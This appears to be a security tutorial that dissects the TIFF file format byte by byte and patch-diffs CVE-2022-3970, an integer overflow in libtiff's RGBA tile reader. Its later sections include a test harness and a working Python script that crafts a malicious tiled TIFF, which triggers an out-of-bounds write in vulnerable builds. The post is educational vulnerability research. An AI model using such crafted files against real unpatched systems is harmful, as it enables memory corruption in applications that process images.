Image parsing has always been difficult for developers. The code that reads, writes, and edits images has to make sense of formats that can store a picture in almost any size, depth, colour model, and compression, all from values the file itself supplies. That code, the image libraries like libtiff and the applications built on them, is hard to get right, which makes it a common entry point for attackers. Breaking it, finding the vulnerabilities and writing the exploits, starts with understanding how the image format is put together.
TIFF is a good format to learn this on. A TIFF file is an 8-byte header, a directory of tagged metadata, and pixel data reached through file offsets and stored under whichever compression scheme the file names. In this article, we are going to take a TIFF apart at the byte level, covering the header, the directory and its entries, and the compression codecs that fill the pixel buffer, and in the end, we will patch-diff and analyze CVE-2022-3970 in libtiff’s RGBA tile reader.
This article focuses on understanding TIFF exploitation through CVE-2022-3970, an integer overflow in libtiff’s tile reader that was discovered by Google’s OSS-Fuzz and which was also impacting ImageIO for macOS and iOS. Understanding how this vulnerability works in libtiff helps mobile researchers understand the underlying image parsing bugs that can reach Apple’s platforms.
A TIFF file is built from three kinds of structure, each linked to the next by a byte offset measured from the start of the file:
Because every reference is an offset, the pieces can appear in any order on disk; beyond the fixed 8-byte header, a reader never assumes anything sits at a particular position.
The examples below use a 4×2-pixel, 8-bit grayscale, uncompressed
image. The pillow library (pip install pillow) in python
helps you create images including tiff.
"L" is Pillow’s 8-bit grayscale mode,
(4, 2) is the width and height, and
compression=None keeps the pixel data raw. The result is a
130-byte file. We can check the structure of a TIFF with the
tiffdump command, which lists its directory and tags. It
ships with libtiff’s command-line tools; if it is missing, install them
with brew install libtiff on macOS or
sudo apt install libtiff-tools on Debian and Ubuntu (the
same package also provides tiffinfo and
tiffcrop):
$ tiffdump tiny.tif
Magic: 0x4949 <little-endian> Version: 0x2a <ClassicTIFF>
Directory 0: offset 8 (0x8) next 0 (0)
ImageWidth (256) LONG (4) 1<4>
ImageLength (257) LONG (4) 1<2>
BitsPerSample (258) SHORT (3) 1<8>
Compression (259) SHORT (3) 1<1>
Photometric (262) SHORT (3) 1<1>
StripOffsets (273) LONG (4) 1<122>
RowsPerStrip (278) LONG (4) 1<2>
StripByteCounts (279) LONG (4) 1<8>
PlanarConfig (284) SHORT (3) 1<1>
And the same file as raw bytes:
$ xxd tiny.tif
00000000: 4949 2a00 0800 0000 0900 0001 0400 0100 II*.............
00000010: 0000 0400 0000 0101 0400 0100 0000 0200 ................
00000020: 0000 0201 0300 0100 0000 0800 0000 0301 ................
00000030: 0300 0100 0000 0100 0000 0601 0300 0100 ................
00000040: 0000 0100 0000 1101 0400 0100 0000 7a00 ..............z.
00000050: 0000 1601 0400 0100 0000 0200 0000 1701 ................
00000060: 0400 0100 0000 0800 0000 1c01 0300 0100 ................
00000070: 0000 0100 0000 0000 0000 0000 0000 0000 ................
00000080: 0000 ..
The rest of this section maps those raw bytes onto the parsed view, one structure at a time.
0000: 4949 2a00 0800 0000
\__/ \__/ \_______/
"II" 42 8
The first two bytes give the byte order for the
whole file. 49 49 is the ASCII text II, for
Intel, and selects little-endian: multi-byte integers are stored
least-significant byte first. The alternative is 4D 4D
(MM, for Motorola), which selects big-endian. The choice
applies to every multi-byte number that follows. In this file the SHORT
value 08 00 (the BitsPerSample tag) is read
low byte first as 0x0008, or 8; a big-endian file would
store the same value as 00 08.
Bytes 2 and 3 are the version number, always 42
(0x002A), stored here as 2a 00. The constant
identifies the file as a classic TIFF. A value of 43 marks BigTIFF, a
variant that uses 64-bit offsets for files larger than 4 GB.
Bytes 4 to 7 are a 32-bit offset to the first IFD.
Here they read 08 00 00 00, or 8, so the first directory
begins at byte 8, immediately after the header. Offsets like this are
always counted from the start of the file. The eight bytes of pixel data
sit at the very end of the file, at offsets 122 to 129; the directory
locates them through the StripOffsets tag rather than by
their position, so they can be placed anywhere.
An IFD has three parts in sequence: a 2-byte count of entries, that many 12-byte entries, and a 4-byte offset to the next IFD.
0008: 0900 count = 9 entries
000a: [entry 0] … [entry 8] 9 × 12 = 108 bytes (0x0a–0x75)
0076: 0000 0000 next-IFD offset = 0
At byte 8 the count is 09 00, or 9. The nine entries
fill the next 108 bytes, ending at byte 0x75. At byte 0x76 the next-IFD
offset is 00 00 00 00.
The next-IFD offset links directories into a list. A file that stores more than one image, such as the pages of a scanned document, a thumbnail beside a full-size image, or the levels of a resolution pyramid, writes one IFD per image and points each to the next. An offset of 0 marks the last directory in the chain, as it does here.
Within a directory, the entries are stored in ascending order of tag
number. tiffdump lists them in that stored order, which is
why ImageWidth (tag 256) appears first and
PlanarConfig (tag 284) last.
Every entry has the same four fields. Taking the first one,
ImageWidth, at byte 0x0a:
000a: 0001 0400 01000000 04000000
tag type count value/offset
0x0100 4 1 4
256 LONG 1 = 4
| Field | Bytes | Meaning |
|---|---|---|
| Tag | 2 | Which field this is. 0x0100 = 256 = ImageWidth |
| Type | 2 | The data type of each value |
| Count | 4 | How many values of that type |
| Value / Offset | 4 | The value itself, or an offset to it |
The type field selects one of a fixed set of data types, each with a known size:
| Code | Type | Bytes |
|---|---|---|
| 1 | BYTE | 1 |
| 2 | ASCII | 1 |
| 3 | SHORT | 2 |
| 4 | LONG | 4 |
| 5 | RATIONAL | 8 (two LONGs, numerator and denominator) |
| 6–12 | SBYTE, UNDEFINED, SSHORT, SLONG, SRATIONAL, FLOAT, DOUBLE | 1 to 8 |
The count is how many values the tag holds, so its
data occupies count × type_size bytes. The last field is
four bytes wide and is used one of two ways, decided by that size. When
the data fits in four bytes or fewer, the values are stored directly in
the field. When it is larger, the field holds an offset to where the
values are stored elsewhere in the file. ImageWidth is a
single LONG, which fills exactly the four available bytes, so its value
4 sits directly in the field. A tag with more data does not fit: for an
RGB image, BitsPerSample holds three SHORTs, six bytes, so
its field is an offset to a three-value array stored elsewhere.
Decoding the other eight entries the same way gives the whole directory:
| Offset | Tag | Type | Count | Value |
|---|---|---|---|---|
| 0x0a | ImageWidth (256) | LONG | 1 | 4 |
| 0x16 | ImageLength (257) | LONG | 1 | 2 |
| 0x22 | BitsPerSample (258) | SHORT | 1 | 8 |
| 0x2e | Compression (259) | SHORT | 1 | 1 (none) |
| 0x3a | PhotometricInterpretation (262) | SHORT | 1 | 1 (grayscale) |
| 0x46 | StripOffsets (273) | LONG | 1 | 122 |
| 0x52 | RowsPerStrip (278) | LONG | 1 | 2 |
| 0x5e | StripByteCounts (279) | LONG | 1 | 8 |
| 0x6a | PlanarConfig (284) | SHORT | 1 | 1 |
StripOffsets = 122 and StripByteCounts = 8
together locate the pixel data: a single 8-byte strip beginning at
offset 122, the block at the very end of the file. Every tag in this
file holds one value that fits within its entry; a tag whose data
exceeded four bytes, such as an RGB image’s BitsPerSample,
would store an offset here instead.
Most of the entries above exist so that a reader can work out the size and layout of the pixel data. The tags that carry that geometry, across any TIFF, are:
| Tag | # | Role |
|---|---|---|
ImageWidth / ImageLength |
256 / 257 | Pixel dimensions |
BitsPerSample |
258 | Bits per channel (one value per channel) |
SamplesPerPixel |
277 | Channels per pixel |
Compression |
259 | Which codec decodes the pixel data |
PhotometricInterpretation |
262 | Colour model (0/1 gray, 2 RGB, 3 palette, 6 YCbCr…) |
PlanarConfig |
284 | 1 = interleaved samples, 2 = separate planes |
StripOffsets / StripByteCounts |
273 / 279 | Location and length of each strip |
RowsPerStrip |
278 | Rows per strip |
TileWidth / TileLength |
322 / 323 | Tile geometry (tiled images) |
A reader computes the length of a decoded row and the size of the whole image from these:
bytes_per_row = ceil(ImageWidth * SamplesPerPixel * BitsPerSample / 8)
buffer_size = bytes_per_row * ImageLength
For the example image this gives ceil(4 * 1 * 8 / 8) = 4
bytes per row and 4 * 2 = 8 bytes in total, matching its
StripByteCounts. (SamplesPerPixel is absent
from the file, so it takes its default of 1.) The pixel data is rarely
stored as a single raw block, however: it is divided into strips or
tiles and usually compressed, which the next section covers.
Pixel data is split into strips (full-width bands,
RowsPerStrip rows each) or tiles
(TileWidth × TileLength blocks, for large or
randomly-accessed images). Either way the file supplies two parallel
arrays, offsets and byte-counts, and the decoder trusts both: it seeks
to StripOffsets[i] and reads
StripByteCounts[i] bytes, then hands that buffer to the
codec named by Compression.
libtiff registers well over a dozen codecs. The ones that matter in practice:
Compression |
Scheme | Algorithm class |
|---|---|---|
| 1 | None | raw samples |
| 5 | LZW | dictionary |
| 8 / 32946 | (Adobe) Deflate | dictionary (zlib) |
| 32773 | PackBits | byte run-length |
| 2 | CCITT RLE | modified Huffman, 1D |
| 3 | CCITT Group 3 (T.4) | modified Huffman, 1D/2D |
| 4 | CCITT Group 4 (T.6) | modified Huffman, 2D |
| 7 | JPEG | DCT + Huffman |
| 6 | Old JPEG (OJPEG) | pre-6.0 JPEG (notorious) |
Each codec expands a compressed strip into the row buffer sized from the geometry tags. The write stays in bounds only when two independently-computed numbers match: how many bytes the codec emits, and how many the buffer holds. Each codec below is a way for the file to drive the first.
PackBits is byte-oriented RLE. A control byte
n: 0…127 copies the next n+1
bytes literally; 129…255 repeats the next single byte
257−n times; 128 is a no-op. The decoder
writes into a fixed bytes_per_row buffer while consuming
attacker-chosen run lengths, and a literal run or repeat count that
overshoots the row is a write past the buffer unless every store is
bounds-checked.
LZW (TIFF’s variant: MSB-first, 9-to-12-bit codes,
early-change, clear=256, EOI=257) rebuilds a string dictionary as it
decodes. A short code can emit a long dictionary string, so output
length is independent of input length, and a decoder that trusts the
strip to stop at bytes_per_row is wrong. libtiff’s LZW
decoder has been patched repeatedly for exactly this.
Deflate (zlib) behaves the same way: the decoded size
is discovered as the stream expands, and the file controls it.
Both are usually paired with the Predictor tag
(317): 2 is horizontal differencing (each sample stored as
its delta from the previous, which makes smooth data compress better),
3 a floating-point predictor. The predictor runs a second
pass over the decoded row, reading and writing it in place using
BitsPerSample and SamplesPerPixel to step
between samples, a second consumer of the geometry tags with its own
history of off-by-one and unsupported-bps bugs.
Compressions 2, 3, and 4 are the fax codecs, for bilevel (1-bit)
images, and they are where “Huffman table” enters TIFF. A scanline is a
sequence of alternating white and black runs; each run
length is coded with a predefined Huffman code table:
short terminating codes for run lengths 0–63, plus
makeup codes (64, 128, …, 1728 and beyond) that prefix
a terminating code for longer runs. Those tables are fixed by the ITU
T.4/T.6 standards and compiled into the decoder as a state machine
(libtiff generates tif_fax3sm.c for this) rather than
carried in the file. The fax injection surface is therefore the coded
bitstream and the width the runs must sum to:
T4Options bit GROUP3OPT_2DENCODING.The decoder accumulates decoded run lengths into a row of
ImageWidth pixels. A stream whose runs sum past
ImageWidth, or a 2D line referencing changing elements that
walk off the reference line, overruns the run buffer, the mechanism
behind a series of libtiff fax CVEs.
T4Options/T6Options (a 2D flag, an
uncompressed-mode flag, a fill-bits flag) are three more bits of
file-controlled decoder state.
Compression 7 stores each strip or tile as a JPEG datastream: DCT
coefficients entropy-coded with quantization tables
(DQT) and Huffman tables (DHT). Those tables
can be embedded per strip, or (because repeating them in every tile is
wasteful) factored out into the JPEGTables tag
(347), an abbreviated JPEG stream containing only the tables,
shared by every strip. That makes tag 347 a length-prefixed,
attacker-controlled blob fed straight into a JPEG library, and it forces
the decoder to reconcile two independent declarations of the same image:
the TIFF geometry tags and the JPEG SOF marker’s own
dimensions and component count. Disagreements between those two, and the
underspecified pre-6.0 OJPEG (compression 6) in
particular, account for a long run of libtiff and downstream
(ImageMagick, GDAL) vulnerabilities.
Pulling the format apart yields a short list of trust boundaries. A malicious TIFF is legal-enough input engineered to violate one of them:
ImageWidth,
ImageLength, BitsPerSample,
SamplesPerPixel, RowsPerStrip,
TileWidth, and TileLength feed the
multiplications that size and stride buffers. If those products are
calculated in the wrong integer width, the pointer arithmetic and the
allocation can disagree. This is the class behind
CVE-2022-3970.StripOffsets/StripByteCounts,
TileOffsets/TileByteCounts, the
JPEGTables length, the next-IFD offset, and any IFD entry
whose count × sizeof(type) > 4 are pointers and lengths
the reader follows. Point them past EOF, overlap them, or lie about a
length, and a naive reader dereferences or copies out of bounds.bytes_per_row × rows, the file makes it emit more.type and count are separate attacker inputs; a
decoder that reads a count-element array, or trusts a type
it did not expect, can be walked off the end of the value it thought it
was reading.Every item has the same shape: a number in the file becomes an input to code that assumed the number was sane. The rest of the article follows item 1 into libtiff’s RGBA tile reader, where a tile larger than 2 GB turned ordinary row-shuffling code into overflow-prone pointer arithmetic.
libtiff is the reference C implementation, embedded
in image viewers, print pipelines, PDF tooling, GDAL, ImageMagick, and
language bindings, so its parser bugs reach far beyond the command-line
tools shipped in the source tree. One especially interesting API family
is the RGBA convenience reader: functions such as
TIFFReadRGBAImage(), TIFFReadRGBAStrip(), and
TIFFReadRGBATile() decode image data into a caller-supplied
uint32_t raster.
That API is attractive to application developers because it hides the details: compression, photometric interpretation, palettes, strips, and tiles are normalized into a simple 32-bit RGBA buffer. For exploit developers, that also makes it attractive, because a lot of file-controlled geometry meets caller-supplied memory at one boundary.
CVE-2022-3970 lives in that boundary. The vulnerable
function is TIFFReadRGBATileExt() in
libtiff/tif_getimage.c. The bug is an unsigned integer
overflow in pointer-offset calculations used while moving and clearing
decoded tile rows. It was found by OSS-Fuzz and fixed by upstream commit
227500897dfb07fb7d27f7aa570050e62617e3be.
| CVE | CVE-2022-3970 |
| Component | libtiff/tif_getimage.c,
TIFFReadRGBATileExt() |
| Class | Integer overflow / numeric error |
| Trigger surface | Crafted tiled TIFF processed through the RGBA tile reader |
| CVSS 3.x | 8.8 High (AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) |
| Fixed by | commit 227500897dfb07fb7d27f7aa570050e62617e3be |
The key difference from a tiffcrop-only bug is reach.
tiffcrop is one tool. TIFFReadRGBATileExt() is
a library function that downstream software can call directly. Any
application that exposes TIFF previewing, conversion, thumbnailing, GIS
import, document ingestion, or server-side image handling can end up on
this path if it uses libtiff’s RGBA helpers.
The upstream commit message gives away the bug class:
TIFFReadRGBATileExt(): fix (unsigned) integer overflow on strips/tiles > 2 GB
The patch is small: four arithmetic sites in
TIFFReadRGBATileExt() are changed so that row offsets are
calculated as size_t before being used in pointer
arithmetic.
Before the patch, the code did this shape of calculation:
After the patch, the multiply is widened:
raster + (size_t)(tile_ysize - i_row - 1) * tile_xsize
raster + (size_t)(read_ysize - i_row - 1) * read_xsizeThe same change is applied to the _TIFFmemset()
destinations that clear the unused right side and bottom rows of the
tile. This is a classic C integer bug: the destination pointer is a
uint32_t *, but the offset expression can overflow before
the pointer addition ever sees it. Casting after the overflow would be
too late; the multiplication itself has to happen in a type wide enough
to represent the tile offset.
TIFFReadRGBATileExt() does more than decode a tile. It
also normalizes the decoded tile into the orientation expected by the
RGBA API. The interesting part looks like this at a high level:
for (i_row = 0; i_row < read_ysize; i_row++) {
memmove(dst_row_in_full_tile,
src_row_in_decoded_region,
read_xsize * sizeof(uint32_t));
_TIFFmemset(right_padding, 0,
sizeof(uint32_t) * (tile_xsize - read_xsize));
}
for (i_row = read_ysize; i_row < tile_ysize; i_row++) {
_TIFFmemset(bottom_padding, 0,
sizeof(uint32_t) * tile_xsize);
}That row shuffling is legitimate. If the caller asks for a tile at
the image edge, read_xsize and read_ysize may
be smaller than the full tile_xsize and
tile_ysize, so libtiff moves the decoded rows into the full
tile-sized output raster and clears the padding.
The problem is that all of those row addresses are calculated from
TIFF-controlled geometry. A crafted file can make
tile_xsize and tile_ysize enormous. Once their
product crosses the integer range used for the multiplication, the row
pointer can wrap and point somewhere other than the intended row.
The dangerous expression is not complicated:
Conceptually, that is a row index multiplied by a row width. It
should produce a pixel offset into a uint32_t raster. For
normal tiles, it is boring. For huge tiles, it becomes an overflow
boundary.
For example, if both sides of the multiply are 32-bit values, a large
tile can push the product past 0xffffffff:
row_index * tile_xsize = pixel_offset
0x00010000 * 0x00010000 = 0x0000000100000000
That value needs 33 bits. If the multiplication happens in 32-bit arithmetic, it wraps to zero before pointer arithmetic begins. The pointer expression still looks type-correct, but it no longer points at the row the code thinks it points at.
That is why the fix casts one operand to size_t before
the multiplication:
On a 64-bit build, that makes the product wide enough for large tile offsets. More importantly, it makes the code express the real quantity being calculated: a memory offset, not a small image-coordinate integer.
This CVE is a good patch-diff target because the changed code is small, the bug class is obvious once you see the diff, and the surrounding file-format requirements force you to understand TIFF tiles rather than just stare at one line of C.
Start with a vulnerable checkout and build it with sanitizers:
git clone https://gitlab.com/libtiff/libtiff.git libtiff-cve-2022-3970
cd libtiff-cve-2022-3970
git checkout ddef030d # parent of the fixing commit
mkdir build_asan && cd build_asan
cmake -DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_FLAGS="-fsanitize=address,undefined -g -O1 -fno-omit-frame-pointer" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address,undefined" \
..
make -j$(nproc)Then build a second tree at the fixed commit:
cd ..
git checkout 227500897dfb07fb7d27f7aa570050e62617e3be
mkdir build_fixed && cd build_fixed
cmake -DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_FLAGS="-fsanitize=address,undefined -g -O1 -fno-omit-frame-pointer" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address,undefined" \
..
make -j$(nproc)Now diff the function:
The signal is exactly what you want from a patch-diffing exercise: no huge refactor, no redesign, just four casts that tell you where the overflow lived.
A trigger needs to steer execution into
TIFFReadRGBATileExt(), which means the file should be tiled
rather than stripped and the harness should call the RGBA tile API.
The metadata fields that matter are:
| Tag | Why it matters |
|---|---|
ImageWidth / ImageLength |
Define the image dimensions |
TileWidth / TileLength |
Drive tile_xsize and tile_ysize |
TileOffsets / TileByteCounts |
Point the reader to tile data |
BitsPerSample / SamplesPerPixel |
Describe decoded pixel layout |
Compression |
Chooses the codec path before RGBA conversion |
PhotometricInterpretation |
Controls colour interpretation into RGBA |
The important exploit shape is not an exotic codec. It is a geometry mismatch: a tile large enough that row-offset math crosses the 32-bit boundary, then a call path that asks libtiff to read that tile into an RGBA raster.
A minimal harness looks like this:
/* harness_cve_2022_3970.c */
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <tiffio.h>
int main(int argc, char **argv) {
if (argc != 2) return 1;
TIFF *tif = TIFFOpen(argv[1], "r");
if (!tif) return 1;
uint32_t tile_w = 0, tile_h = 0;
TIFFGetField(tif, TIFFTAG_TILEWIDTH, &tile_w);
TIFFGetField(tif, TIFFTAG_TILELENGTH, &tile_h);
fprintf(stderr, "tile geometry: %u x %u\n", tile_w, tile_h);
/* uint32 overflow in allocation -- simulates real-world code */
uint32_t npixels = tile_w * tile_h;
fprintf(stderr, "npixels (uint32 wrapped): %u\n", npixels);
uint32_t *raster = (uint32_t *)calloc(npixels ? npixels : 1, sizeof(uint32_t));
if (!raster) {
TIFFClose(tif);
return 1;
}
TIFFReadRGBATileExt(tif, 0, 0, raster, 0);
free(raster);
TIFFClose(tif);
return 0;
}Why uint32? The harness deliberately computes the
pixel count as uint32_t npixels = tile_w * tile_h. When the
TIFF declares 65,536 × 65,537 pixels, the 32-bit product wraps to
65,536 and calloc allocates only 256 KB instead of 16 GB.
This mirrors real-world code that sizes the raster with 32-bit arithmetic —
the same integer-width mistake libtiff makes internally in its row-offset
calculation. Run with ASAN_OPTIONS=allocator_may_return_null=1
so libtiff’s own internal _TIFFmalloc can fail gracefully
while the overflow in the row shuffle still fires.
For a real OSS-Fuzz-style reproduction, you would let the fuzzer mutate tiled TIFFs and keep the harness small. The fuzzer’s job is to discover the unpleasant combination of tile dimensions, image-edge reads, and encoded tile payloads. The researcher’s job is to recognize why the crash lands in row pointer arithmetic instead of inside the codec.
Rather than waiting for a fuzzer to find the right input, we can craft a TIFF whose tile geometry hits the overflow directly. The goal is a file where (tile_ysize - 1) * tile_xsize exceeds 0xFFFFFFFF. The simplest pair is TileWidth = 0x10000 (65,536) and TileLength = 0x10001 (65,537):
(0x10001 - 1) * 0x10000
= 0x10000 * 0x10000
= 0x1_0000_0000 <-- needs 33 bits, wraps to 0 in uint32
The Python script below builds a valid-enough tiled TIFF with those dimensions. The actual image is tiny (64×64 RGB, uncompressed), but the IFD declares enormous tiles. When TIFFReadRGBATileExt() tries to shuffle rows inside the tile-sized raster, the pointer arithmetic wraps and ASan catches the out-of-bounds write.
#!/usr/bin/env python3
"""gen_poc_cve_2022_3970.py -- craft a tiled TIFF that triggers the
integer overflow in TIFFReadRGBATileExt() (CVE-2022-3970)."""
import struct, sys
def le16(v): return struct.pack("<H", v & 0xFFFF)
def le32(v): return struct.pack("<I", v & 0xFFFFFFFF)
def ifd_entry(tag, typ, count, value):
return le16(tag) + le16(typ) + le32(count) + le32(value)
TILE_W, TILE_H = 0x10000, 0x10001 # overflow pair
IMG_W, IMG_H = 64, 64
BPS, SPP = 8, 3 # 8-bit RGB
COMPRESS = 1 # uncompressed
TILE_DATA = b"\x00" * (IMG_W * IMG_H * SPP)
NUM_TAGS = 12
HDR = 8
IFD_SZ = 2 + NUM_TAGS * 12 + 4
bps_off = HDR + IFD_SZ
data_off = bps_off + 6
entries = ifd_entry(256, 3, 1, IMG_W) # ImageWidth
entries += ifd_entry(257, 3, 1, IMG_H) # ImageLength
entries += ifd_entry(258, 3, SPP, bps_off) # BitsPerSample
entries += ifd_entry(259, 3, 1, COMPRESS) # Compression
entries += ifd_entry(262, 3, 1, 2) # PhotometricInterp = RGB
entries += ifd_entry(277, 3, 1, SPP) # SamplesPerPixel
entries += ifd_entry(278, 3, 1, IMG_H) # RowsPerStrip
entries += ifd_entry(284, 3, 1, 1) # PlanarConfig
entries += ifd_entry(322, 4, 1, TILE_W) # TileWidth
entries += ifd_entry(323, 4, 1, TILE_H) # TileLength
entries += ifd_entry(324, 4, 1, data_off) # TileOffsets
entries += ifd_entry(325, 4, 1, len(TILE_DATA)) # TileByteCounts
buf = b"II" + le16(42) + le32(HDR)
buf += le16(NUM_TAGS) + entries + le32(0)
buf += le16(BPS) * SPP
buf += TILE_DATA
out = sys.argv[1] if len(sys.argv) > 1 else "poc_cve_2022_3970.tif"
with open(out, "wb") as f:
f.write(buf)
print(f"[+] wrote {len(buf)} bytes -> {out}")$ python3 gen_poc_cve_2022_3970.py poc.tif
[+] wrote 12460 bytes -> poc.tif
Compile the harness against the vulnerable ASan build from the previous section, then feed it the crafted TIFF:
$ cd build_asan
$ gcc -fsanitize=address,undefined -g -O1 -fno-omit-frame-pointer \
-o harness ../harness_cve_2022_3970.c \
-I../libtiff -Llibtiff -ltiff -lm -lz
$ LD_LIBRARY_PATH=libtiff ./harness ../poc.tif
On the vulnerable build (here reproduced on macOS arm64e with Apple clang and a statically linked libtiff at commit ddef030d), ASan catches a deadly signal in the row-shuffle code of TIFFReadRGBATileExt(). The tile declares 65,536 × 65,537 pixels, but the uint32 product wraps to 65,536 — a 256 KB allocation instead of the correct 16 GB. When TIFFReadRGBATileExt() calculates (tile_ysize - i_row - 1) * tile_xsize, the overflowed offset sends memmove past the buffer:
The stack trace confirms the crash path: TIFFReadRGBATileExt() at tif_getimage.c:3019 calls memmove() to reposition decoded rows into the tile raster. The destination address — raster + (tile_ysize - i_row - 1) * tile_xsize — wraps in 32-bit arithmetic and lands at an unmapped address (0x00050046c8ff on this arm64e run). ASan intercepts the write and reports the deadly signal. Note the DumpModeDecode warning: libtiff recognizes the ~12 GB scanline request is absurd, but the overflow in the row-shuffle code fires before that check can prevent the write.
The integer overflow that makes this work: (65537 - 0 - 1) * 65536 = 65536 * 65536 = 0x100000000, which truncates to 0x0 in uint32. The pointer points nowhere near the intended row. On the next iteration, (65537 - 1 - 1) * 65536 = 0xFFFF0000 — an offset of ~4 GB, well past the 256 KB raster.
The bug is easy to underestimate because the patch is only four casts. But that is exactly why it is a useful image-parser lesson.
The TIFF file does not need to contain shellcode to be dangerous. It
only needs to provide numbers that the parser multiplies.
TileWidth and TileLength look like harmless
metadata, but in TIFFReadRGBATileExt() they become memory
offsets. When the type is wrong at that boundary, a normal helper
routine becomes a memory-corruption primitive.
This is also why image bugs keep showing up in downstream products. A library API may look safe because it returns decoded RGBA pixels, while the dangerous part happened much earlier: accepting metadata, choosing tile geometry, calculating row offsets, and trusting that the products still fit.
The method that produced this generalizes, because every raster format is the same three layers under different syntax: a container of typed records, geometry that sizes the pixel buffer, and one or more codecs that fill it. Read a new format by locating those three, then hunting the boundaries between them.
IHDR,
IDAT, PLTE, …), each length-prefixed and
CRC’d. IHDR is the geometry; IDAT is
zlib/Deflate, carrying the same hazard as TIFF LZW, plus a
filter byte per scanline that, like the TIFF predictor,
reads and writes the row in place.SOF carries
dimensions and components, DQT/DHT the
quantization and Huffman tables, SOS the entropy-coded
scan. The Huffman tables are file-supplied here, so a malformed
DHT is direct decoder-state injection, the exact thing TIFF
factors into its JPEGTables tag.In each, the questions are the same. Which fields size a buffer, and can their product overflow or round wrong? Which fields are offsets or lengths the reader follows without checking? Which codec emits a length the file controls, into a buffer the parser sized from something else? The bug is wherever two numbers that describe the same thing are allowed to disagree.
Three habits fall out of CVE-2022-3970 and hold across all of them:
TIFF is worth learning for its generality: a tagged container, offset-linked, backed by a zoo of compression codecs, every parameter supplied by the file. Read it at the byte level and the decode path stops being opaque: you can see which numbers the parser trusts, follow them into the arithmetic and the codecs, and find the places where file metadata becomes memory access.
CVE-2022-3970 is a compact example. A tiled image supplies
dimensions; the RGBA tile reader converts those dimensions into row
offsets; a 32-bit multiply wraps before pointer arithmetic; the fix is
to widen the product to size_t. Four casts in a patch can
tell you an entire exploit story if you know how the file format reaches
them.
Apple listed CVE-2022-3970 in advisories HT213841 (iOS 16.6) and HT213843 (macOS Ventura 13.5), meaning devices running iOS ≤ 16.5 and macOS ≤ 13.4 shipped vulnerable libtiff code. However, when we tested our PoC against Apple’s ImageIO.framework directly — using an Objective-C harness that loads the crafted TIFF through CGImageSource and renders it via CGBitmapContext — the system did not crash, even on an unpatched macOS version.
The reason: Apple’s ImageIO has its own TIFF parser that does not call upstream libtiff’s TIFFReadRGBATileExt(). While Apple bundles libtiff internally, ImageIO takes a different code path for tile reading that avoids the vulnerable row-shuffle logic. The crash reproduces reliably when calling TIFFReadRGBATileExt() directly against upstream libtiff — as demonstrated above on macOS arm64e with a statically linked vulnerable build — but the system’s ImageIO abstraction layer does not expose that specific function.
This is an important distinction for mobile security researchers: the CVE is real, Apple acknowledged it in their advisories and patched the bundled libtiff, but the practical attack surface through ImageIO is narrower than the upstream libtiff surface. Any application that links upstream libtiff directly and uses the RGBA tile API remains fully vulnerable.
Next steps worth taking: run the PoC against both the vulnerable and fixed libtiff builds and compare the ASan output. Then repeat the same process on the codec paths: LZW expansion, CCITT run decoding, and JPEG-in-TIFF table handling all expose the same parser lesson from different directions.
If you want to learn these techniques in depth, our iOS Userland Fuzzing & Exploitation course teaches the full workflow: fuzzing real parsers, triaging the crashes, and turning them into working exploits. Open a TIFF in a hex editor and start from the header.